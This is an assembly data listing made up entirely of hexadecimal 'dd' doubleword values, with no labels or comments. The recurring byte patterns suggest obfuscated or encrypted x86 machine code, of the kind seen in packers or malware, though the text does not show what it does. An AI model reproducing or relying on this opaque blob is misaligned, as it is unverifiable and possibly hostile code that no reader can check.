		dd 0BD8B1980h, 6031719h, 0A703B5FFh, 6A0606h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 33DE11C3h
		dd 0EAB8A9DFh, 8D0FF820h, 0
		dd 244995FFh, 7E80603h,	3D000000h, 0E0FB8783h, 0BD8B865Dh
		dd 6030055h, 0F7B58B5Fh, 8B0606A6h, 325AD9Dh, 31858B06h
		dd 6A060331h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 65AEC351h, 95C81447h, 0F809F83h
		dd 68Fh, 598D8900h, 0E906032Dh,	14h, 88B0626Ch,	97B262A6h
		dd 0F561AEAAh, 60A4C797h, 0B313FE9Dh, 0C48689h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 1D00A1C3h, 5163F38Dh, 9D8B6F1Ah, 6032655h, 958BD88Bh
		dd 60320A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	29C35343h, 6A04C283h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 2B64C353h, 307C5BDh
		dd 20508906h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	15C35242h, 2DBD9589h, 858D0603h, 606BB16h, 0DE9h
		dd 0E9EB2800h, 901ED3D5h, 70F916D9h, 86898E5Eh,	0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E9C35747h, 58CB8101h
		dd 6A068194h, 0FABF0F00h, 0A703B5FFh, 0BB660606h, 95FF6A40h
		dd 6030CFDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	4BC35040h, 0BD297C2Dh, 603096Dh, 319D2353h, 5B060316h
		dd 50FEBF0Fh, 13E9h, 8FE16600h,	628176B4h, 0A867EEF3h
		dd 767663E2h, 9EB158E3h, 2B243489h, 32AA99Dh, 3B5FF06h
		dd 6A0606A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 2122C352h, 66208DF8h, 95FFDA8Bh
		dd 6032E7Dh, 191D9D8Bh,	0BD830603h, 60326C9h, 25840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 96C6C357h, 0B5319650h,	6030AB9h
		dd 0A703B5FFh, 0BB660606h, 95FFFC36h, 60314B9h,	0FFD8BF0Fh
		dd 6A703B5h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 95FF3637h, 6030C95h, 89F9B70Fh, 32211BDh
		dd 4DBD8306h, 206032Dh,	5A840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72FE9AC3h
		dd 6C26F834h, 499D898Bh, 8B06032Ch, 323ED85h, 67BF6606h
		dd 0C60Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0C35343h, 0B529EABAh, 60312F5h,	308185C7h, 603h
		dd 29600000h, 31C859Dh,	0E961FC06h, 0FFFFF4E6h,	1DA99529h
		dd 0C18B0603h, 8D6DDB80h, 3130985h, 85858906h, 6606032Fh
		dd 8B50DA8Bh, 240489D9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0BC35646h, 49EA5320h,	9D89A9B0h, 6031D61h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 1C0C36C3h, 0AA85FF6Bh, 6AE39AF4h,	758D2900h
		dd 8D060300h, 7E60085h,	83DD8A06h, 8B6005C0h, 3219195h
		dd 95958B06h, 6106030Dh, 0D98B5090h, 5250505Fh,	5252BF66h
		dd 0BF53310Fh, 5D0276C2h, 90585A5Bh, 0DB5BD89h,	6A0603h
		dd 1A11BD8Bh, 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0ACC35646h, 2063F439h, 5EF6ED3Bh, 6830F74h
		dd 8B000000h, 314BDBDh,	0F995FF06h, 2B06031Dh, 32D219Dh
		dd 338D8D06h, 6A060699h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0B130C352h,	2ECB2266h
		dd 28A0Fh, 0FBB30000h, 9D8BD1FFh, 60317D9h, 1D89BD83h
		dd 0F010603h, 0A885h, 0BDBD8B00h, 0E9060332h, 11h, 0EC1B4CEAh
		dd 1747AEF8h, 2CE024D8h, 0F4B37755h, 6A026A2Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EF51C355h, 0FD48F01h, 0E8Ah, 0C2816000h, 550E6520h
		dd 0BA1B58Bh, 90610603h, 0E23ABB66h, 90DE8A50h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B2C35747h, 190EC400h
		dd 521C8521h, 14E8E7h, 0D9F40000h, 9FFBB422h, 256E1F88h
		dd 0C6F7EBFEh, 6A9772F3h, 0A2B70736h, 0FD95FF5Bh, 3306030Ch
		dd 330899Dh, 0E6EE906h,	0E80000h, 5D000000h, 0E60AED81h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 12C25DC3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9BC35747h, 9E4E8A33h,	0DD83733Bh, 0CE988h
		dd 0B3D00000h, 0DB1E4C7Fh, 9582EFBCh, 858D4E95h, 6069100h
		dd 4758D89h, 0BE90603h,	0A4000000h, 8644B2B1h, 0A1101F6Ah
		dd 6050ACA8h, 2870Fh, 0C38A0000h, 13E8h, 3429E200h, 1CB1A629h
		dd 0D8E0D0DEh, 0D5383C77h, 389BC21Ch, 310F5250h, 6158585Ah
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 7B83C357h, 0DB8B2CCEh,	26B6BB66h
		dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D2EFC350h,	16F03F36h
		dd 8BA18952h, 32379BDh,	25896406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h
		dd 22A29EF7h, 6D55822Fh, 11E8h,	0FCBE1500h, 0C50234Bh
		dd 18A97FF6h, 0DDF9AD2Ch, 8B53CEF6h, 317E19Dh, 895B5B06h
		dd 32CF58Dh, 0EB816606h, 85FF1AD9h, 6031D01h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8EC35040h, 0FB8B1F5Bh
		dd 2D99BD8Bh, 0FF6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 1BC35545h, 6E87604h, 34000000h, 0FFCB5971h
		dd 59D3325h, 5F06032Dh,	18AD8D01h, 0BE90603h, 0B2000000h
		dd 16280DD3h, 0BB38723Ah, 0B5FF9DCAh, 6032391h,	44DC7BBh
		dd 4D95FF4Ah, 0E906031Bh, 104h,	68C0Fh,	95890000h, 60316ADh
		dd 70E600B0h, 0E4DF8B66h, 5E971h, 92E30000h, 80C9773Bh
		dd 613C7FD7h, 0DA830Fh,	5B520000h, 0B3C8B60Fh, 83F7818Dh
		dd 0BA08D87Fh, 6, 5E8h,	0B438B500h, 5FF8F6F9h, 8BD9B70Fh
		dd 0C820FC1h, 0F000000h, 680h, 0D5BD0100h, 0C1060304h
		dd 0BD8B04E8h, 603243Dh, 58D0Fh, 73BF0000h, 667E53FFh
		dd 9D8BE2F7h, 60320D5h,	5F52C82Bh, 0BD8BD18Bh, 6032E95h
		dd 77E9h, 0A19D8B00h, 8B060306h, 4C4C4485h, 0E5BB665Fh
		dd 7C083FDh, 0D5B52960h, 8B06030Ch, 320B1BDh, 0FBF6106h
		dd 8362839Bh, 0D03B00C0h, 0D830Fh, 0FB8B0000h, 3FE9h, 0EDBD8900h
		dd 8B060317h, 0FFFFFF8Dh, 0CDBE60FFh, 61127C52h, 16899D89h
		dd 0E1830603h, 1D840F01h, 0BB000000h, 5F0BDA68h, 0FFFFA583h
		dd 8BFEFFFFh, 30C65BDh,	44958906h, 0E95F4C4Ch, 0
		dd 64FBB58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0B372F7C3h, 8BE26B01h, 32E1D9Dh
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FF07C353h, 323A595h, 0EE906h
		dd 6E980000h, 47977508h, 10480276h, 0A0068810h,	495B589h
		dd 0D3B90603h, 89000011h, 32E4595h, 0FCE18306h,	10E9h
		dd 58D10F00h, 3113E4DFh, 37DFE116h, 0DEF79354h,	6AFC59h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4516BDC3h, 232F8F62h, 32C2DBDh, 0B806h, 0CF800000h
		dd 0ADD22BE0h, 0E8D1C233h, 0E983D003h, 81F47504h, 93E206C7h
		dd 0E59D8940h, 0D06030Ch, 88h, 68D0F60h, 81000000h, 2DA80FDAh
		dd 0F681661Fh, 8B6117D5h, 320A595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0F3DCDAAEh
		dd 0D9E38166h, 0E1BD892Fh, 8B060305h, 31A658Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C28B508Fh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh
		dd 0C87h, 68A0F00h, 29000000h, 32EB9BDh, 0CDBD8B06h, 6A06032Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0A547C355h, 815F1FFFh, 0C2C1A5E3h, 799D8B58h
		dd 83060329h, 3210DBDh,	840F0006h, 4Bh,	8BD88B66h, 319199Dh
		dd 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0DB47E2C3h, 8D8D5D97h, 6034D69h
		dd 0BE9h, 0C7080000h, 0A2DD8D0Fh, 669CD81Fh, 0DF8BE1FFh
		dd 83DF8B66h, 30071BDh,	840F0006h, 4C3h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0C1C35242h, 0EF0B0FB5h
		dd 1F48E5Bh, 32C699Dh, 71BD8306h, 1060300h, 4A8840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0CDB45CC3h, 0C9BD89BDh, 0E906032Dh, 0Ah, 0EFE794D2h
		dd 0F5B5E47h, 0BD8358D1h, 6030071h, 31860F03h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B20C356h, 6A60D8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0D4FD30C3h, 61626FD3h
		dd 601BFD21h, 9F88B66h,	3004D95h, 8C666106h, 28C0FD9h
		dd 0B3000000h, 4E1801Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 90C35747h, 83DBA38Eh,	3D9D8905h, 0A06031Ah
		dd 0C8840FC9h, 0E9000000h, 0Eh,	0D3CE78BEh, 0DE486089h
		dd 661A5E24h, 858B1B85h, 60309ADh, 475BD8Bh, 0B5310603h
		dd 6030AF9h, 1A598533h,	0BB660603h, 66508FC9h, 896E26BFh
		dd 8B662404h, 6A006AD9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 398EC355h, 23C802F6h
		dd 0B589527Fh, 6030A69h, 0A4C9685Bh, 0B35349E3h, 34815B4Ah
		dd 0FCA73624h, 7195FF49h, 0E806032Eh, 13h, 9A4FB6B5h, 7B68B72Ch
		dd 0A507AB7Dh, 256367BFh, 890E0D91h, 31C01BDh, 0CB815B06h
		dd 452B45A4h, 0A7038589h, 9D8B0606h, 60318FDh, 0A810Fh
		dd 8E0F0000h, 4, 6E5CBF66h, 275E9h, 0A1D38100h,	8B1F8738h
		dd 6A6FB85h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FB61B8Eh, 680h, 9BD8B00h, 0C706031Ah
		dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 3DDBA52Bh, 0DDAF2CD2h, 0DE94A1Ch
		dd 0A2000000h, 0BDA876Ch, 0D709D2C8h, 686A2910h, 0A6FFB58Bh
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0B4FC61C3h, 7D067F2Dh, 0FD9D2308h, 66060320h
		dd 858BDE8Bh, 6031F89h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 44C35747h, 0CBC484BBh, 6A068906h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C66AC357h, 0A8B807C8h, 8BDA8B66h, 309AD85h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8896A85Bh, 71FAD9DCh, 0EE9h,	3EE8EB00h, 66915C0Ah, 0B3A9D802h
		dd 8B7E8C66h, 308919Dh,	4468906h, 698D09h, 89510603h, 319798Dh
		dd 57965F06h, 5F5F5051h, 10E9505Fh, 22000000h, 7EDAC0EEh
		dd 888B8BFCh, 0BE41B53Bh, 96DC6D70h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 53C35343h, 78CB80A1h, 6880F52h
		dd 0F000000h, 8Eh, 0B5FF5F00h, 606A6FBh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 37C35747h, 0CB9BD300h
		dd 94FA7AE1h, 0FFBF0F8Fh, 0FD14F068h, 81DA8BA1h, 0EF0F2404h
		dd 9D8B5E21h, 6030475h,	8DDF8B66h, 6A70385h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 72B1646Fh, 6660F5BDh, 16BFCA81h, 19FD858Bh, 50610603h
		dd 3DCFBF66h, 9050905Fh, 0B820Fh, 860F0000h, 5,	803292BFh
		dd 7195FF61h, 6A06032Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D874C355h,	1C80F15Bh
		dd 5493E39Fh, 68F0Fh, 9D290000h, 6032579h, 0EE8h, 4285A700h
		dd 4120E95Ch, 0CD99C0C3h, 89A979D0h, 318F195h, 6A615B06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9BFAC355h, 830FEBB0h, 1, 7185C7F5h, 3060300h
		dd 89000000h, 32DA185h,	0D5BD8906h, 83060316h, 6A703BDh
		dd 840F0006h, 24h, 11E9h, 88C62A00h, 0FFB6A56Ch, 17444926h
		dd 0A2C1DEAFh, 0F381735Bh, 44097CD2h, 1EE9h, 7DEF8000h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0ECDFC357h, 52AEA67Ch, 0C21B589h,	0F5B0603h
		dd 68Ah, 6D858900h, 89060307h, 3096185h, 71BD8306h, 3060300h
		dd 424850Fh, 0F7810000h, 17F46BBBh, 0A703BD83h,	0F000606h
		dd 41184h, 830F6000h, 6, 24019D89h, 8D8B0603h, 6030989h
		dd 3B5FF61h, 0BF0606A7h, 2CB11EB0h, 2A7595FFh, 6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 62E9DEC3h, 2949300Bh, 309999Dh, 0F7B58B06h, 6A0606A6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 6067C353h, 8907D746h, 31C419Dh, 8DBD0B06h
		dd 0C706032Ch, 1000106h, 7CE78100h, 9657A4C3h, 0DE8B5250h
		dd 1DBF310Fh, 5A5EBC5Dh, 0E4B35058h, 0BD8BF896h, 6032549h
		dd 0A703B5FFh, 6A0606h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C2A27EC3h, 0D17EC9F1h, 0CFBFEB59h, 0FF094C01h, 3244995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0D2AD27E8h, 7E00AC7Ch, 0F7B58BCAh, 8B0606A6h
		dd 3313185h, 0D9B70F06h, 0C48689h, 958B0000h, 60320A5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h
		dd 1A36C789h, 3465DDCEh, 8BD88B45h, 303099Dh, 4C28306h
		dd 16E5B509h, 85890603h, 6030999h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 8742C353h, 1F36B40h,	8D688BABh, 6BB1685h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4F4A3BE7h, 0E84ACBEEh, 11h, 0D0AAD96Ch, 1D4DD75Ch, 0F913CC38h
		dd 43360E4Bh, 8DBB669Eh, 86895BB1h, 0B8h, 0C32BE781h, 6A3E40h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8DC35343h
		dd 511AFB11h, 89EB87F3h, 319618Dh, 3B5FF06h, 6A0606A7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0F82C353h, 480h, 4CBB6600h, 0DF81665Eh, 95FFB4A6h
		dd 6030CFDh, 12E8h, 0ADE6A400h,	2A4BA5DBh, 6CA8614Bh, 0C11C42C5h
		dd 8B9BB8F0h, 32639BDh,	0BB965B06h, 7C579719h, 96F98B50h
		dd 0B721A1BFh, 16BF667Bh, 3B5FFBEh, 0FF0606A7h,	32E7D95h
		dd 0F59D8B06h, 83060320h, 326C9BDh, 840F0006h, 66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h, 0BF0FD966h
		dd 55BD23DFh, 0E806031Ch, 8, 9D113772h,	500FF465h, 2F6D8589h
		dd 505B0603h, 11E85250h, 0A9000000h, 6B8773FFh,	5D48F578h
		dd 75B0A53Eh, 2CD634Fh,	5BFA8B66h, 88BF310Fh, 5A6F1914h
		dd 24348958h, 0B5FFDA8Bh, 606A703h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0C8C35242h,	18119D8Bh, 95FF0603h
		dd 60314B9h, 0EE8h, 34C0C800h, 2B1928B6h, 18ACB4BDh, 0F4A8ED9h
		dd 687h, 6D8D8900h, 5B06032Eh, 0A703B5FFh, 6A0606h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 12BB20C3h, 606FCC54h, 759D8960h, 0F060308h, 6661D2B7h
		dd 0FF61D08Bh, 30C9595h, 0C1BB6606h, 4DBD83C9h,	206032Dh
		dd 66840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 160424h, 52420000h, 8DC103C3h, 0D9BD0BFCh, 8B060320h
		dd 323ED85h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E9919211h, 6, 654F0725h,	8166536Eh
		dd 0C655F6DBh, 5E90000h, 0B4000000h, 0EDA0C361h, 308185C7h
		dd 603h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 160424h, 55450000h, 0B24DAAC3h, 1D298589h, 37E90603h
		dd 0E9FFFFF3h, 12h, 0A84D1880h,	959CFDA8h, 4F1A31CFh, 0E75B76BEh
		dd 0BD8BC2FCh, 6030301h, 0B589C18Bh, 6032CC1h, 1309858Dh
		dd 0F500603h, 683h, 0E1BD8900h,	5B060317h, 8E850h, 2CBD0000h
		dd 0E045FCA0h, 0FE8C007h, 0DE000000h, 0A45AE06h, 77038B1h
		dd 290673D0h, 5B5FAE70h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 65F1C353h
		dd 14E9D0h, 0B5F30000h,	59FF0FE9h, 785D0A19h, 0D7764267h
		dd 0B4792F7h, 6A5627h, 15BD8B60h, 0E9060313h, 10h, 0FCDCBD43h
		dd 0D6047B61h, 0DEE026F4h, 3E1EF9CCh, 66006A61h, 0B589FA8Bh
		dd 6030859h, 0F734858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 5CFA72C3h, 43F9DB61h
		dd 0B589E08Bh, 60307A9h, 6A05C083h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1675C353h
		dd 8EBE17CDh, 0FD98B66h, 0E890F9BFh, 12h, 17FD050Bh, 0DCFBA3EEh
		dd 0E680DBC2h, 75F47B71h, 0BF51ADDBh, 35CACDB3h, 60505F5Fh
		dd 16880Fh, 11E90000h, 0B9000000h, 231031A5h, 512F247h
		dd 0D45C5FDEh, 91E4D5F0h, 9061DA8Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 42C35040h, 645213AFh, 4A70C56Ah
		dd 810F006Ah, 2, 0B70FFA8Bh, 6A006AD9h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9186C353h
		dd 90ED8568h, 0BF0FDA7Eh, 0F995FFDFh, 8B06031Dh, 309799Dh
		dd 338D8D06h, 6A060699h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 5A40C352h, 89E5ACCFh
		dd 31BD9BDh, 60D1FF06h,	2F55BD31h, 850B0603h, 6031D85h
		dd 89BD8361h, 106031Dh,	0DB850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FE94DC3h
		dd 0E2000000h, 3364E10Dh, 0AA51537Dh, 0F2FC7718h, 26AF9C9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FBC35141h
		dd 6EF82C55h, 6133A8h, 10E9h, 937CE700h, 9C6A85BFh, 2466DB98h
		dd 0C07CC6A6h, 0DB8166D8h, 0E990D7F8h, 12h, 0BB57C876h
		dd 6E3B0B0Bh, 32219C49h, 525FB4A6h, 5250A658h, 11E9h, 0C4861600h
		dd 0C064A044h, 0C464D430h, 10B401F2h, 905B652Ch, 0A0C78166h
		dd 0FEB70F69h, 0CFD95FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0DDE07BC3h, 48AC84D7h
		dd 8B2D50EAh, 319E1BDh,	0D1FE906h, 0E80000h, 5D000000h
		dd 0F73EED81h, 6A0607h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 2536D8C3h, 21A966F6h, 0B325EFB5h
		dd 57006AE0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F39FEC10h, 0E8A10075h, 13h, 289608F9h
		dd 0B8799179h, 0AD82975Ah, 53A3867Fh, 31EA2C7Fh, 313AD95h
		dd 0D1BB5B06h, 8D55F7EFh, 6910085h, 0C98D8906h,	50060307h
		dd 66240489h, 309BEB81h, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 8D76C357h, 60BA815Eh, 0F199D01h, 0B5890603h,	60324D1h
		dd 0FEB70F61h, 258964h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 53F8C353h
		dd 0FFA7DB80h, 31D0185h, 6ADA8A06h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F5360C5h
		dd 83h,	8E0F5800h, 1, 0B5FF61F9h, 6030DC1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B4C35343h, 0A17877h
		dd 0B480EF81h, 95FF467Dh, 6031B4Dh, 13AE9h, 7E900h, 71460000h
		dd 2D2B69DBh, 6000B0DCh, 4ED88166h, 13E936h, 0AE2E0000h
		dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch,	70E66147h
		dd 0C860Fh, 860F0000h, 6, 8B0Fh, 0BD230000h, 6031B81h
		dd 0DE971E4h, 7D000000h, 0F86F09DAh
		dd 3AC106DBh, 0B908C243h, 9E9h,	0F3CFE700h, 5E013A5h, 613C81E4h
		dd 0C9830Fh, 840F0000h,	6, 2DCD9D23h, 0B60F0603h, 0D8BF0FC8h
		dd 6BAh, 8D9D2B00h, 8B06031Dh, 2EC781C1h, 0E96CF6A1h, 5
		dd 0C79F6096h, 4E8C1FCh, 0FD5FBF66h, 29E2F766h,	316F195h
		dd 66C82B06h, 8BE4DABBh, 0FE8B66D1h, 7AE9h, 70E78000h
		dd 8BF9B70Fh, 554C5085h, 919D8B47h, 8306032Ah, 2B6007C0h
		dd 326D5BDh, 0C0836106h, 3B1BB700h, 15830FD0h, 8A000000h
		dd 49E9D9h, 0BF660000h,	850F314Dh, 4, 6DD7BF66h, 0FFFF8D8Bh
		dd 3160FFFFh, 31AA58Dh,	75958906h, 61060304h, 0F01E183h
		dd 1E84h, 0DBD3300h, 83060317h,	0FFFFFFA5h, 9589FEFFh
		dd 47554C50h, 30519D33h, 0E90603h, 8D000000h, 776CEB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 6A0AB4B3h, 6A76CBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 38C35343h, 860F605Eh, 0
		dd 95FF61F8h, 60323A5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0ACC35141h, 233DB589h, 0F6B90603h, 6A00000Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 2A00C352h, 5827ED12h, 0E94972E5h,	12h, 0CDFD0BF5h
		dd 16CA4AECh, 56E6CFB4h, 0AD22A8A7h, 0E1830A9Fh, 51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0FE83FDAh, 56000000h, 2EF7E3A3h, 0DA3AAEF5h,	26216C0h
		dd 820F2FFCh, 2, 0FC5F6160h, 0B8F88B66h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0E4C35040h
		dd 3185748Ch, 8531D22Bh, 6031CF5h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	41C35343h, 6522F0EBh, 0DB8104C3h, 0DAA529Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9AC35242h, 0C219E108h
		dd 89295776h, 321F9B5h,	880D06h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1CEC7FC3h
		dd 3144034Bh, 0A5958BE1h, 6A060320h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4CE7C353h
		dd 74AA05E6h, 1905BD8Bh, 0EB810603h, 3041FC17h,	1A658D8Bh
		dd 0B5290603h, 6032329h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1D6C40C3h, 0D10567C1h, 2E09BD01h
		dd 8A0F0603h, 5, 0E79B53BFh, 50006A0Bh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0DF8166FCh
		dd 1BBBDD8h, 8345431Dh,	3210DBDh, 840F0006h, 41h, 9E9h
		dd 62817600h, 0A867EEF3h, 0B70F63E2h, 0B8DFh, 850F0000h
		dd 17h,	12E9h, 81BDA600h, 23F73E9Fh, 2AA7B85Ch,	0D9B8CE4Fh
		dd 8D3A6DEEh, 34D698Dh,	89E1FF06h, 307198Dh, 71BD8306h
		dd 60300h, 32B840Fh, 9D8B0000h,	6032459h, 71BD83h, 0F010603h
		dd 33384h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F808933h, 28Fh, 83DF8B00h, 30071BDh
		dd 860F0306h, 2CAh, 60FBB70Fh, 31358D89h, 8C660603h, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 4E180AAh, 0E3D933BBh, 0FC90A5Eh, 0E584h, 319D8B00h
		dd 8B06032Dh, 309AD85h,	0DFB70F06h, 1A598533h, 0D88B0603h
